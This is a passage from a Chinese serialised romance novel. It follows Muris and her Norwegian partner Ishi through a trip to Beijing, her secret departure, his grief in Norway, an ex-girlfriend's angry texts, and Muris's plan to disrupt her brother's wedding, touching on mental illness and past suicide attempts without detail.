伊实踢开我脱下的鞋,恶毒攻击:“那么就是这家伙了,丢了这双破鞋吧,再也不要穿了。” 药水涂在肿胀处火辣辣的疼,我的指甲攀附于他的手背,五官狰狞,只有嘴巴仍在做玛丽亚:“伊实,不用过度担心。” “打扰一下,眼泪直流的人说这话没什么重量。”伊实大度地牺牲了自己的大鱼际,和我的牙齿切磋。 最后绷带缠出一块发面馒头,伊实的手多出一排牙印。我趴在他的背上离开医院,得了便宜还卖乖地把手窝在他的脖子上取暖,不出意外的话,我还将收到热乎的批评。可是没有。 “伊实,你怎么了?”我拍拍他的脸,“一脸没有食欲的样子。” “闭嘴。” “这句倒很正常。”我撇了撇嘴,怎么伸长脖子都看不见他的表情,便问:“你在不高兴什么?” “……” “我扫你们的兴了吗?” “没有。” “你在不高兴什么?” “……” 我左手搭右臂锁住他的脖子,要挟道:“我们同归于尽吧!” 伊实停下脚步,转过头,提起一口气半天不落,欲言又止,最终还是没说出什么。好吧,他不说话那我也不说了,论装聋作哑我才是前辈。 误解持续守擂,我持续等待。沉闷的甲壳虫势均力敌地啃食叶片,蓝色墨水洒了一地。我要和这座城市里的所有医院解约,需要一个见证人,可是这位见证人不愿看我一眼,我的宣誓无从开口。宣誓如果变成告示,那将引起轩然大波。 “我要回中国。” 车子刚好在家门口停住,手刹提起的音质恰似子弹上膛。敌方毫无预兆地扔出一颗重弹,仅仅是上膛显然不够,别忘了瞄准,和倒吸一口凉气。 伊实喀啦一声解开安全带,侧身盯着我,反问:“你刚说什么?” 我平静地重复:“我要回中国。” 伊实扳过我的下巴,对付火上浇油的计策是引火烧身,烧我的身。 “你什么意思?要和我分手?” 光是听见这两个字眼我的心口就冒出一股灼烧感,和听到“你不得好死”“这是绝症”“百分百复发率”一样的灼烧感。我正慢慢戒掉在皮肤表面涂碘酒,再用一把锋利的刀从中划开的游戏,所以我当然不是那个意思。 我长时间的噤口不言让伊实愈发急躁,迫使我的眼睛看向那双新鲜出炉的瘸腿。 “你要怎么回去?爬回去?还是滚回去?因为什么?”伊实语气鼓劲,反复考究我的表情,以狠戾作放大镜从中鉴别真伪,然而被放大的只有他土崩瓦解的音调,“因为什么?我没有保护好你吗?所以这是我分神的代价,逼我承认我的无能,你是这样想的吗?” “不……”心快碎了一地,我不能这么对他。 伊实将我拥进怀里,不停安抚我的后脑勺,“听着,这是我的错,你什么都别想,你以后若是不情愿,就不来了,什么都依你,就当是个交易,我赊账一回,没得商量。穆里斯,是我的错,你要是觉得委屈你揍我一拳,怎样都行。” 或许他自己永远也无法认识到,狂妄的处世之道里一滴卑微的墨汁染得他有多可怜。我得告诉他我的真实想法,他会高兴的。 我努力推开他:“伊实,让我说点什么。” “我没有食欲。”他不松手。 我掐他的腰,他也不为所动,比一个躁郁症患者更加盲目地做情绪奴隶。我只好松掉零件,拉拉垮垮地化一滩烂泥。 “我不委屈,一点都不。”我说,“不如说,我很兴奋。” “What?”伊实终于拉开我,目露不解。 “我太倒霉了,而且弱得可怜,怎么看都不会有好下场。”我提起温和的笑。 伊实按住我的额头,“你摔傻了吗?”他反反复复地搜身,坚信没有拖把能洗干净嫌疑,“肯定摔到别的地方了,在哪儿?” 我问心无愧地任他摸索,一边说:“下次可一定再带我去打猎啊!” “你到底在说什么?”伊实挤压我两边的脸颊肉,好像这样就能让我冷静下来。事实上我冷静得不得了,不是第二人格跑出来胡言乱语,也不是强制观众观看的片头曲,抑或片尾曲,总之那些挑了几帧正文内容配上牛头不对马嘴的歌词然后进行主题艺术表达的二流手法。 伊实下车,在我身上醒悟出比摔断腿更严重的创伤,碎碎念:“又是那鬼东西的手笔,你意识不清醒,想一出是一出,做点别的会让你好起来,对,做点别的……” 他打开车门横抱起我,带着庄重的使命感,拖地的披风刮出长长的足迹。我借他的脚走路,他借我的手开门。我意外发现绝佳的论据。 “伊实,”我扯扯他的衣领,摊开掌心给他看,“这是什么?” 伊实眼前飘过被踩扁的无奈和忍耐,说:“你的手。” “它也受伤了。”我轻轻擦拭通红的掌心。 伊实把我搁置在沙发,有条不紊地脱外套,无心回应:“是,受伤了,脚上的纱布还能二次利用。” 我拖拉地“哎呀”大叫,晒了一天谷打开窗户发现屋外下雨似的叫天天不应叫地地不灵。 “伊实!”我生气地叫他名字。 他转过身,双手举在耳朵两侧,“如果你要说什么违背天理的话,我就不听了。” 于是我连喊三遍:“我要回中国!我要回中国!我要回中国!” 伊实也生气,上前捂住我的嘴巴:“为什么?!到底为什么?!告诉我为什么?!” “唔唔唔唔唔!” “一小时以前你还在我怀里哭得稀里哗啦, 一个自杀都面不改色的人露出那样害怕的脸,我以为我犯了滔天大罪,现在那个人叫嚣着要回自己的国家,车子抛锚了都有预告,你突如其来变脸,起码说出个理由吧?!” 我扒开他的禁锢,说:“我不是害怕!我是太想活命了!伊实,你好好看看!在你来之前我还爬了一段距离!用手爬的!我想活命啊!” 我慷慨激昂,赤。身在大雨里翻滚那样新颖和大胆,在他怔愣的目光下继续迎着雷声拥抱电线杆。 “我一边爬一边想,我要活下去,我身边有你,我还需要怕什么呢?恐惧是敌人,我越想越愤怒,是不是就是因为我恐惧,所以我一次次摔倒。无论怎样,我都会摔,因为很多东西我还没学会,所以我肯定会摔。我发誓我下次不会再摔倒了,我说过了对吧?你听见的,我一定说了。” 那是我有且仅有的勇猛时刻,抵制住了永眠的诱惑,明确认清那是坏东西,还对所有躺在土地里沉睡的灵魂泛滥出无用的怜悯,有路可走竟然不是个奢侈的条件,人类也可以用除去双脚以外的方式找到一条路。 “下次我和你去打猎的时候,一定拖着一整只麋鹿而归。”我眼里闪着光,似凹面镜的心脏,另外举起三根指头发誓,我不是谁的教徒,只能发闲家誓言。 “……”伊实沉吟良久,从讶然的沉默走向迷茫的沉默,从三根指头走向红红的掌心,他摩挲那块软肉,问:“回中国又是怎么回事?” “我……”我抽出我的手,垫在屁股下面,说:“签证快到期了,我必须回去一趟。” “只是如此?” 我低下头把虎视眈眈的剩余价值流放到受伤的脚上,脚尖点了点地板,慢悠悠地回答:“当然了。” “行,我和你一起回去。”伊实多云转晴的速度于我有过之无不及,他抬起我的下巴,有一下没一下地挠痒,“你可以利用我,但不能离开我。” 我强行挤眉弄眼,“你是控制狂吗?” “说这么难听。”伊实凑近来端详我,说:“因为你比较调皮,我不得不上点心。” …… 当机立断雷厉风行不留余地,伊实办下中国签证,前后只用了一周,我连拐杖都还没用顺手,他就拿到了签证。 等待的时间感觉起来没那么漫长的原因不止是高效率的签证中心,还有布鲁克钓来的鱼、提来的好酒,瓦萨里奇一家的慰问品,以及伊实仿佛打了死结一般高浓度的做。爱频率。 他起初同我站在一边与不便的左脚为敌,从某个时辰开始他竟然格外偏袒它。在黑洞里涮过的眼睛能让我看见不一样的东西,并非装神弄鬼,我真能看见,伊实他包容一整个我却没有剔除糟粕的下场。 俗话说负负得正,没有记忆和基因打扰的话的确令我们乐在其中。可谁又真的敢让两个负到极致的东西碰在一起? 有些话我只敢背对他的时候讲,从落地窗反射后先到达我自己的耳朵,就像交卷前一定要检查一遍一样,哪怕在行为学上被称为无用功。 “嘿……伊实,我想起来,曾几何时你把我丢进泳池里,恶劣地要我吃个大教训。现在你竟然连菜刀都不许我碰了,我要是想死,只有两条路可选,一是不吃不喝,二是被你操。死。因为你,大自然已经杀不死我了。” 他哼笑,对沽名钓誉的行为不以为耻反以为荣,“这就是我想要的,恭喜你……” 我捂住眼睛藏下几颗泪珠。他是世界之于我的全部意义,不需要任何细枝末节堆砌的意义。然而只管往毒药里加水是无法彻底消除毒性的,我必须找到唯一的解药。 布鲁克在机场给我们送行,塞了一张自己龇牙咧嘴的张扬的自拍照给我,说把它当作他本人。伊实说只有骨灰盒才有这种待遇。 飞机起飞时,一秒钟的失重感差点给我打回原形。 伊实要来一张毛毯,我紧贴着他自我安慰,用的不是我自己的手,是长时间用偏方给自己加油打劲的后遗症。“最后一次”的魅力太大了,摧枯拉朽之势拽来拽去。利用躁狂的症状狐假虎威,被揭穿的话我就什么都没有了。 伊实要来一张湿纸巾,提醒我是时候装睡了,于是我顺势闭上眼,在考场上弹尽粮绝从而把时间花在算分上的可怜儿一样,盘算这门科目能不能有60分。 抵达北京机场,吸第一口气的时候我浑身的毛发通通竖了起来,铜镜里昏黄模糊的影子再度浮现在眼前。 伊实问我回到祖国开心吗。我笑得真心实意,说:“开心!” 预约好签证续签日期后,在北京玩了七天,我坐了六天轮椅,一点儿不累。伊实晒黑了点,银白色的头发经过光合作用居然染上了一点褐色,他对此不发表看法,初步打算回国后染成黑的。 最后一天我们计划去看什刹海,因为只有这一个目的地,我不好意思再坐享其成,所以决定抛弃轮椅下地走走。 北京的气候十分强词夺理,分明臃肿得离谱,却叫人看在雍容华贵的面子上敢怒不敢言。二环三环扣成一具鸟笼,游客亲密地摩肩接踵,沸腾的地面噗噜噗噜冒着涌动的人头。 伊实紧搂着我,鬓间的汗水滴到我的肩头,嘴里止不住嘀咕。我让他用俄语偷偷嘀咕,别给人家听懂了,不然遭来一阵字正腔圆的白眼。 不说还好,一说他还来劲,不知道从哪学会的中文脏话,操着一口反骨当街播报:“我操,他妈的,我爱你,牛逼。” 我急忙捂住他的嘴,向看过来鄙夷目光表示歉意。没拴好他是东道主的责任,我在他的胳膊上狠狠掐了一把,问:“你做什么?什么时候会学会的?” 他不嫌事儿大地耸耸肩,“YouTube上学的,怎么样?还算标准?” “你,那些你都知道什么意思吗你就乱说。” “知道,常用语,easy!” 导航显示还要步行五分钟到烤肉店,伊实大言不惭地说要杀了那五分钟,难怪布鲁克在我们临走前说早点回来,只有把这人关在挪威才是个聪明绝顶的主意。 烤肉店生意兴隆,哪怕我们提前两小时预约,店门口的服务员还是说需要等半个小时。伊实拍案而起,五分钟还是杀少了。 我买了两杯水果茶安抚他的情绪,当然效果没有威士忌和白兰地那样好,但足够应付汗涔涔的半小时。 我用纸巾替他擦掉汗,嫌弃道:“你好容易流汗。” “有时候你也很容易。”他说,意外青睐柠檬茶,喝下半杯。 “你开不开心呀?中国好玩儿吗?”我期待地问。 “有趣,下次还来。”伊实看了看表,对半小时紧盯不舍,“他们大门敞开的商业计谋也太可恶了,只放出味道不放餐桌,我快饿死了。” 真正征服他的果然只有厨子。 挺好的,两人三足多走几步就能达到和谐的境界,男人和女人和谐的相爱,恋人之间和谐的默契,诚惶诚恐和殚心竭虑被抛之脑后,我好他就好,我越正常他越正常,如同秋天和原野。 我挂掉所有电话,已读不回所有短信,我和我的爱人在一起,铸造通往自由的武器。 唯一不变的是,七天依然是我的极限。负负得正的真实奥义除了欺骗隐瞒,只剩义无反顾和头破血流,可是我不够强大,扬汤止沸也杀不死寄生虫。 对这七天我甚至不敢回忆太久。太久的话,我会老去。 那天夕阳敲打玻璃,在北京机场等待返程航班的两个小时里,我一次都没有亲吻伊实。 吻给了高铁站的第七站台- 春天下秋天的雨,没完没了,和第七站台那位趴在地上泣不成声的女人一样,没完没了。 第38章 第38章大海是骤雨的遗腹子 冷空气正缅怀它的黄金年龄,到了静心修养的阶段,任何风吹草动都是一场暴乱。 “我的孩子 ,你有令人称道的才能,鸽子广场的小动物们很喜欢你。” 大海是骤雨的遗腹子,伴随死亡出生的,也会目睹死亡成长。 “你这一生会遇到很多人,他们会和那些动物一样,不自觉地被你吸引。我的孩子,你会拥有很多很多的爱,数不胜数。” 机翼划破云层,杀死了一片海,在夜晚无人知晓,残灯虚影,黎明翻山越岭也没赶上最后一面。 “我很高兴你长大后的模样与我想象的并无二致,不像我也不像他,颀长的身段,强健的体格,闹腾的脾气。在我意料之外的地方,你还有朝气蓬勃的生命力,冷静的头脑,和得理不饶人的口才……怎么会这样呢,孩子,你似乎不需要我们,我是说,我和他。无论你是什么样,我都感激不尽。” 瘦骨嶙峋的声音企图呐喊,面带微笑,仔细听,原来唱的是挽歌。 “我的小伊实玛,即使你交了女友我也要这么喊你,即使你成年了我也要这么喊你,未来即使你结婚生子了我也要这么喊你。我的小伊实玛,我对不起你,这是无论如何也弥补不了的歉意。 “我的小伊实玛,我不会离你太远的,我发誓,我的小伊实玛。 “我?当然,我不再想那些糟心事了,意义是一坨44码的狗屎——哦,原来你的口才来自于我,让我欣慰不少——意义不重要了,疼痛也不重要了。 “明天下午我去街上买两盒拿破仑蛋糕,好吗?” 蛋糕店已经搬走很久了。 只有难吃的三明治,难吃,和冷掉的尸体一样。伊实梅尔。布朗连碟子带三明治一起丢进垃圾桶,碟子没有碎,他又抛去一个玻璃杯,叮叮当当总算分裂成密不透风的疹子。 他开始打扫说谎家待过的房子,不知从何处下手,凌乱的沙发,冰蓝色的床单,还是烘干的内。裤。就从那只深蓝色行李箱开始吧,没什么顺序讲究,顺序对他来说更接近一种乱象。 行李箱像一本字典一样被打开,释义和例句躺在那儿,纷纷表示一词多义。伊实的心脏又开始痛不欲生起来,他是会把褒义当主要用法的那类人,故而容易在贬义上泪眼朦胧。 比如“去去就回”是“你要保重”,“我好爱你”是“再也不见”,他对糖衣炮弹束手无策,恍然惊醒时已经晚了。那时周围全是听不懂的语言,秩序和混乱并存的人群,摇摇欲坠的指示灯记录他从日落等到日出,他有能力一直等下去,夜以继日地等下去。她在人群中消失,也一定会在人群中出现,机票上印着她的名字,不是穆里斯,是他不认识的中文……对啊,他不认识,所以她那么猖狂。 又那么狡诈,当他打开翻译器就能看见一段文字:「我好爱你,伊实,我好爱你,像地球有两个月亮那样爱!可是地球只能有一个月亮,所以你别来找我,你把另一个带回挪威去。我说了谎,你要生气就尽情发火吧,然后过你从前的生活,捡到我之前的生活。代我向布鲁克道别。」 岂有此理?她怎么敢?她一个连路都走不快的跛脚猫,舔了他一口后逃之夭夭,没留下一个理由。有什么不能带上他一起的,有什么让她说出爱之后还狠心割舍的,有什么不能留住她的…… “操。” 伊实用力合上行李箱,掌掴某人的脸似的,脸颊和掌心火辣辣地疼。他踢开箱子,决心再也不管它,穿戴上大衣和冷帽,兜里的打火机的香烟盒跟他一起出门。他靠在车旁抽完一支烟,随后驱车到Vinmonopolet买酒。 够了,被偷走部分生命就够冤大头的了,她要是能在中国死掉就不会来挪威了,用得着他陪?思忧是蠢货的代名词,她单纯不愿意再当一只宠物了而已,而他也不过是失去了一只宠物而已。 过从前的生活……说得轻巧,这的暴风雪有时能催坏整个城市的电力系统,他回到挪威的那天又是一场暴风雪,真正意义上的冬天最后一场雪,而她来的那天下的是虚假的雪,重叠在一起把之间的时光积压得一干二净。对他来说没有比这更糟糕的事了,离别。 伊实尽量不回家,能在外面游手好闲一天是一天,到奥斯陆和曾经的高尔夫球友约了一场酒,听闻对方的妻子生了一个可爱的女儿,一个多月了,如果你把食指放在她的手心,她会用力握紧,这是独属于婴儿的拥抱。 伊实用指尖转着酒杯里的冰块,笑说:“我知道,软的不像话吧,她有时还会舔你的指缝。” “你怎么知道?”球友问。 “有人给我科普过。” 穆里斯趴在他身上,说什么要从口欲期的遗憾开始弥补,然后抓着他的五指,用舌头挑。逗手背上突出来的青筋。她尤其钟意青筋,总是一路盯着看,像看蚂蚁搬家那样有耐心。他故意捏紧拳头保持充血状态,省了一笔逗猫棒的开销。 奥斯陆无聊,伊实久违地走进夜场,想像从前那样听些来路不明的事迹取乐,不料个个没趣不说,对酒的容忍下限也低到叫人蒙羞的地步。怎么,喝不起了啊,垃圾货们。 钓鱼吧。伊实主动邀约布鲁克到新鲜的海域钓鱼,不如说喂鱼,他搅了两公斤的鱼饵,鱼钩上的小营小利只能算过瘾,真正的芸芸众生是每隔五分钟抛一坨鱼饵下去,且岸边没有网等着它们。 “如果你和我一样注定要孤独终老的话,就伪造我的字迹写遗书,继承我的所有财产吧。”布鲁克说。 伊实掐灭烟头,盯着海面,嘴里吐出一团朦胧,说:“现在就给我,臭老头。” “现在是你哀悼的时间。” “你哀悼了六十多年,快成一种诅咒了。” 布鲁克舔牙,哼哼:“你马上就知道了。” 伊实又拉上一条鱼,丢进水桶里。收获比以往都丰盛,看来领头鱼只报备了这里的资源没报备危险。 “当真没机会了吗?”布鲁克问,他早就降低了和伊实一起钓鱼时对鱼儿的期待,所以分出神思戳人家痛点,“你们只是隔了几个国家,又不是隔了一个墓碑。” “有道理。”伊实的眼底仍旧死气沉沉,“大陆漂移最好给我搞快点。” 布鲁克望向白色的天空,说:“你要是觉得挪威待腻了,就去莫斯科住上几年,莫斯科待腻了,就回加州欺负马森一阵子,总能找到称心的地方。” 伊实不说话,闷头放线。 “还要是念念不忘,来场三十天的亚洲旅行,总能找到称心的脸。”布鲁克传授着人生失败的经验和错误的处理办法,他当然知道这些是错误的,因为在他自己身上就没有奏效。无论是六十年前还是现在,他都没有丝毫长进。宣传广告式的安慰,仅仅出于他活到了这个愚钝的岁数。 水桶装了太多鱼,活泼的一只踩着其他只蹦出来,啪唧摔在了地上,随后更激烈地挣扎。伊实瞥了一眼,无动于衷。 “布鲁克,鱼飞了。”他提醒道。 布鲁克走过去抓起它,滑溜溜地丢回桶里。伊实放下鱼竿,拎起桶,撒向海面。 “嘿!”布鲁克一惊,“我们的鱼!” “不钓了。”伊实说,“它们长记性了。” 况且会做鱼的人也不在了。 晚餐是烤牛排和沙拉,伊实往沙拉里挤了一盒冰淇淋,否则冰箱没有合适的位置留给他冻冰块。 洗衣机停止转动,伊实把衣物取出来,再放进烘干机。过了两分钟,他又打开烘干机,把女士线衫和文。胸取出来,重新关上烘干机。 这座房子闹鬼,时常多此一举。 他手掌上的每一粒毛孔都在吸。吮衣服的湿气,章鱼触角般黏糊糊地缠上他的手腕,怎么甩也甩不开。 他打开手机相册,发现那张他最喜欢的亚洲脸少的可怜……等等,布鲁克在诡辩,他什么时候喜欢亚洲脸了?十几岁的时候他说的是要娶俄罗斯女人净化一下血统,结果三十几岁喜欢上亚洲脸了? “书呆子小姐,你和我素不相识。” 画面里的穆里斯茫然点头。 啊。作孽。 伊实胸口一阵刺痛,17秒的视频来来回回地播放。 这就是他最喜欢的亚洲脸。 足以令他掏心掏肺的一张脸。哭的时候会把 牙齿露出来,笑的时候反而藏的严严实实,从眼睛里掉出狐狸的心思,朝他拱鼻尖。再叫他一声伊实,就再叫一声吧。 Please. Please. 过来, 过来。 再用一次刑也没关系。用爪子挠他,莽足劲在他腹部砸下一拳,刚柔并济的处刑再来一次也没关系。 穆里斯…… 章鱼吐了一地的墨汁,伊实不知道清洗的方法,能洗掉吗?渗进去了能洗掉吗? “逊爆了。” 他自嘲道。 第39章 第39章可怜虫,只会发无名火…… 被一团看不见摸不着的气味压制成穴居动物的不知道第几天,伊实再也受不了暗无天日的生活,他要么去犯罪,要么去遭人犯罪,总之监狱里的待遇要比此时此刻好上百倍。 没日没夜地梦见穆里斯让他对寂寞严重过敏,有时候是她的胎记,有时候是她的伤疤,更多时候是她那颗略微歪斜的牙齿。过敏的时间已经比他们之间的回忆还要长了,而他竟全无康复的迹象,久病不医终成疾,无论他是否承认,这都是不争的结果,他从此拥有了跟随一生的弱点。 万万没想到第一个嘲笑他的人会是克洛伊。从去年万圣节前后到现在,克洛伊就像从坟墓里爬出来的丧尸一样不停敲门喊“trickortreat”,跨国电话隔三差五地咯咯叫,令人厌烦。当初他和克洛伊分手时闹得极其不愉快,数落对方的种种缺陷,声音越大等于屈辱越大,如冉冉上升的沸水搅得你我不安生。 要知道,在一段关系里,早在看得见缺陷的那一刻起,情感就已经开始变得粗糙了。 克洛伊在接近三十岁的节骨眼上主动放小声音求复合,奈何心绪敌不过本性,每场电话几乎都令她忍不住破口大骂,男人总那么不知好歹和心胸狭隘……她讨厌忍耐,一点微不足道的念头她也会用放大镜去看,只有背后有底气的姑娘才有这种实力,尽管她从不探究自己到底有没有这种底气。 她最终在交往过的众多男人中选择向伊实求复合,一是交往的时间最长,听起来十分痴情,二是交往的光鲜亮丽,有一段浪漫的谈资。事实上,这是克洛伊有且仅有的一段正儿八经的交往,她没得选择。从凯文身上她狠狠地认识到,人们不会对眉目传情负责,男人的保护欲也就是性。欲,可以up也可以down。 克洛伊料到伊实没那么容易回头,她的背叛对他来说十恶不赦,可他不懂那是她的生存法则,她不像他可以用拳头说话,唯一的话语权只有皮囊和讨人欢心的演技,当男人们陶醉于征服的快。感时,会变得好说话许多。 至于凯文,是的,在凯文身边她反倒成了陶醉的那一个。他带她回到了千金小姐的生活,这很好理解,没人能拒绝童年时期体验过的快乐。克洛伊曾苦思冥想了一阵子,人在同一时间爱着两个人该作何解释,真希望他们变成一个人。 不管怎样,对于从前的依恋,克洛伊问心无愧,所以不远万里飞到挪威和伊实当面交谈,眼睛和肢体也参与的对话往往比电话里的更有诚意。然而,他屋里竟多了个陌生女人?在这鸟不拉屎的地方多了个女人? “她是谁?”克洛伊问。 “不是显而易见吗?”伊实说。 克洛伊无法相信,求情的话一瞬间被抛之脑后,怎么说也说不好,又沦为绝望的争吵,满脑子都是那个女人是怎么回事。 称女人都算抬举她了,她裹在充了气似的羽绒服和笨重防水裤里面,法律禁止其饮酒的脸上一副木头表情,需要加载的大脑,缓慢的说话方式,简直是个未教化的孩子。她说自己是中国人,好一个中国人,不惜飞更远的距离跟她抢男人。这便是克洛伊对穆里斯的第一印象,在她的理想规划中,一道晴天霹雳的重雷。 更为过分的是,这道雷不止落下一次,还有第二次外焦里嫩的冲击。什么孩子,穆里斯简直是疯子,冲向死亡时眼睛眨都不眨一下的疯子。克洛伊彻底憔悴,她怕死,怕没人要,怕两手空空什么都没有。那个疯子吞药前给她盖上了被子。 够了,克洛伊认为没必要再趟这浑水,伊实就爱养一些半死不活的疯子,她受够了,道不同不相为谋,她还是回到熟悉的地方发挥特长吧。 和小疯子的最后一面在特罗姆瑟的一间酒吧,克洛伊看见还能呼吸的人,莫名松了一口气。这疯子面对她时总是一脸耐心,眼睛在她身上遍历日出日落,最初她以为是出于情敌的探究,后来愈发觉得是怜爱。被一个比自己年小,还正在享受幸福的女人怜爱,克洛伊第一次理解穷人憎恨富人的心情。她根本听不懂穆里斯在安慰个什么劲,但心痒痒地记住了所有话。 穆里斯被伊实牵出酒吧时,回眸看了她一眼,她无动于衷,直到二人消失在门口,她才将指尖从湿。滑的杯口移到桌面的维京人冰箱贴上。 时隔那么久,克洛伊再次给伊实打电话并不是想纠缠,毕竟一通电话轻轻一点就能挂断,正如他做过无数遍那样,而她也再没可能花费全部身家来挪威第二次。她是想理直气壮地说,九十八克朗的冰箱贴在洛杉矶换不来任何物质,所谓的一顿好觉,也根本不够格。 “你告诉她。”克洛伊说完这番话,严厉地让伊实转达,心想穆里斯如果在他身边的话,应该会亲自拿过手机回答她,然后为自己的信口雌黄而蒙羞。 然而伊实的回答云里雾里:“我告诉她?我怎么告诉她?” “你什么意思?” “她不在这。” 克洛伊顿了一下,屋外传来消防车的警报声,一如几年前她失手点燃的大火。 “所以‘她不在这’是什么意思?” 警报声由远及近,电话线那头的声音也在放大。 “‘她不在这’的意思是她走了!听明白了吗?!她走了,回中国了,什么都没带走,和这里隔了瑞典、丹麦以及俄罗斯,隔了六七个小时的时差,这就是‘她不在这’,我他妈解释得够清楚吗?” “……” 克洛伊一直等警报声远离才回过神,结结巴巴地说:“呃,你,你们分手了吗?” “没人这么说。”伊实的语气十分偏执。 “好吧,那么,呃,你大惊小怪什么,她,她至少还活着。”克洛伊拉开椅子坐下,椅子和地板摩擦发出刺耳且难以消化的声响。 “还活着……”伊实冷嘲道,“对,至少我他妈的也还活着。” 克洛伊认为这是个幸灾乐祸的大好机会,应验的哲理出自她之口,而非穆里斯,她终于可以有理有据地奚落伊实,所有指控都有了现成的依据……这明明是个幸灾乐祸的大好机会,可她却像被回旋镖击中脑门那样倒地不起。 伊实挂断电话,克洛伊在规律的挂断音中突然找到了解释。 人不可能同时间爱着两个人,她自始至终,都只是在爱一种感受。 她重新拨打电话,不出意料地被挂断,再打,依旧被挂断。于是她发送短信。 「narrow-mindedyoumotherfucker」 「你甚至连我半点头脑都不如,蠢货」 「我说谎了,那时怀孕是凯文惹的祸,不是你」 「后来被凯文甩也是因为我再也怀不上孩子,压根不是对你余情未了」 「听着,这是我最后一次跟你说话,从今往后我会删掉你的电话号码」 「我仅仅靠两个谎言就来找你,因为我不要脸,最后成功找到了,因为我有头脑。而你,可怜虫,只会发无名火,没头脑还要脸,活该她远走高飞。」 发完短信后克洛伊立马删除了伊实的号码,有史以来最大快人心的撕破脸皮,随后,她趁热打铁,拨通凯文的号码…… 可怜虫伊实的无名火无处发泄,他重重扔开手边的抱枕,犯不着听取这份荒谬的评说。他深呼吸一下,穿上外套出门。 罗弗敦壮观的雪山和峡湾景色帮了大忙,他稍微留意一会儿,就能在路边看见中国人。他从夹层中拿出皱巴巴但平整的机票,踩着雪上前搭讪。 “嘿,问你们几个问题。” 路人被伊实吓了一跳,面面相觑。 “这两个字怎么念?”伊实指着机票上穆里斯的名字问道。 路人磕磕绊绊地用英文回答道:“Thisis——” “怎么,弟媳都喊我姐,你却没大没小地喊我名字,合适吗?”穆里斯坐在男方亲戚一桌,看着今日大婚的弟弟淡笑,新娘红色的敬酒裙映得穆里斯神采奕奕,当然也有桌上帝王蟹的一半功劳。 安志隆讪笑,连忙补上:“姐,姐,行了吧。” 穆里斯以茶代酒举杯敬新人,祝酒词十分简约:“新婚快乐,弟弟。” 恭喜继承缺乏生命力的家业,烂苹果丰硕的野地,龌。龊无处遁形的海塘。 一想到等会儿她要作为亲人代表上台祝福,穆里斯便蠢蠢欲动个不停,毕竟挤掉了口若悬河的父亲,以及花枝乱颤的继母,她作为半路杀出的程咬金,当然要整点好活。 穆里斯环顾四周,在角落有一台摄影机记录婚礼上的一切,挺符合弟弟对影像过分执着的形象。 “看什么呢?”父亲问。 穆里斯放下筷子,说:“背稿呢。” 第40章 第40章这就是精神病,你们以为…… 冬天的大衣可以一辈子都不用洗,对穆里斯来说是一张货真价实的特等奖。淋湿的窗户和无法快走的腿脚,无一不在回味那场斟酒点烟又用胶水一块块粘在一起的酣梦。 “总有”听起来很自由,比如“总有一日”“总有一人”“总有一些”,可当筋疲力竭,连摁手印的力气都没有了的时候,“总有”就是张逍遥法外的空头支票。 穆里斯知晓心气不值钱,只能典当来一根折断的竹竿,就算倾其所有传承给来世,恐怕都不足以支撑她睁开眼看看这世界。所以,这辈子,只能是这辈子。 大衣的衣领上残留一丝薄弱但遒劲的味道,像一缕看不见摸不着的魂魄,忠诚地始终挥之不去,与其说这是穆里斯的臆想,不如说她集中精神,将自己栖身于这个味道。 没有人知道她这一个多月去哪儿了,同事以为她回归家庭,父母以为她离家出走,双方都对社会抱有极大且盲目的信任,而对进入社会的个体保持长久的苛刻。就算她再度出现在人们视野中时已经摔坏了一只脚,那也在情理之中,用父亲安滨的话来说就是:谁叫你这么不小心。仿佛辞掉工作和长时间断联只会引导她走向离经叛道,而不可能是死亡。 穆里斯庆幸烂摊子没有变得更加腥臭,只要跃过不破不立的龙门,她就再也不用闻他们令人作呕的香水味。 安滨当伪君子上瘾,先是责怪她年夜饭不回家吃饭,欺负完弟弟又消失得无影无踪,后给了她一千块钱,告诉她工作不喜欢咱就换,那么好条件不怕找不到好的。穆里斯收下了那一千块,存进一支名为“弑父之后请个好律师”的基金里。 婚礼一切顺利进行,新娘子和穆里斯一样年纪,家境良好,有自己的主见,她也有个弟弟,不过和她的年龄差距有些尴尬,让他当伴郎太年轻,当花童又太成熟,所以让他当送戒指的使者。 新娘来敬酒时,穆里斯无端问了一句:“怀孕了不能喝酒吧?” 这对初出茅庐的夫妻神色一顿,不知何时走漏了风声,新娘低头看看略微鼓胀的小肚子,不好意思地摇了摇头,说:“没事儿,我就抿一小口,不能坏了兴致。” 安志隆拿过新娘手中的酒杯,顺着穆里斯的话说:“你看,都说了不让你喝,叫人担心。” 新娘又夺回去,嗔怪道:“姐是担心我,你是没良心,那么多人看着呢,你也不知道准备点白酒。” 白酒无色透明,最好隐身了。穆里斯往杯里添茶,酒店里一种不要钱的大麦茶,解腻效果很好。 等新郎新娘转到别桌,这桌的众人开始将穆里斯当成一道菜咀嚼,不管生的熟的,不管细菌感染,夹起来就吃。 “安滨,你女儿也到岁数了吧?别说结婚了,还没对象呢?” “女大十八变,你女儿真是越来越好看了,趁现在年轻,赶紧找个好对象,稳定下来嘛。” “哎哟哟,对象可不是赶紧找就能碰上个好的,还是得擦亮眼。” “人家高材生嘞!985懂不懂?再差能差到哪儿去!” “也是,她条件好,找老公看一个你情我愿,肯定不会差,没准给你带一个金龟婿回来呢!” 穆里斯夹走桌上最后一块油炸冰淇淋,安家小儿子望眼欲穿,扯着妈妈的衣领哼唧起来。安滨这会儿坐视不管了,忙于收取众人的口头份子钱。 “她就是事业心太重了,一年到头只想着工作,刚进公司一年就当上了经理。我说女儿啊,想想自己的终身大事,我们做父亲的,是不是都想看到儿女成家立业,对吧?她现在是翅膀硬了,我管不住。” 圆桌转盘就这么转啊转,和安有弹簧和鬼面小丑的整蛊盒子一样眩晕。穆里斯本想喝完最后一口茶就摔杯为号,让那个疯子出来整治这帮人,但她忍住了,因为这是一群捅了你一刀还要背过去擦血的无头苍蝇,她不能一刀刀捅回去,那样行不通,她得放一把火,烧个一了百了。 主持人终于走上舞台推进程,诸位吃饱了饭有力气做活动了吧,有请双方家人代表上台为新人送上爱的祝福。 女方代表是新娘的父亲,围绕“百年好合,常回家看看”抹了一把眼泪。 轮到穆里斯,她一格一格走上舞台,接过话筒,在聚光灯下对所有人笑了下,是那种在武侠小说的刀光剑影里穿梭的笑。 “大家好,我是新郎官的姐姐。”她礼貌地微微鞠躬,话筒杵在嘴边,“也是新郎官的初恋。” 掌声戛然而止,困惑的窃窃私语此起彼伏。穆里斯微微流汗,连忙拍了拍嘴:“说错了,不好意思,我太紧张了。重新说。” 窃窃私语变成了哄堂大笑,良莠不齐,像一千个哈姆雷特在决斗。 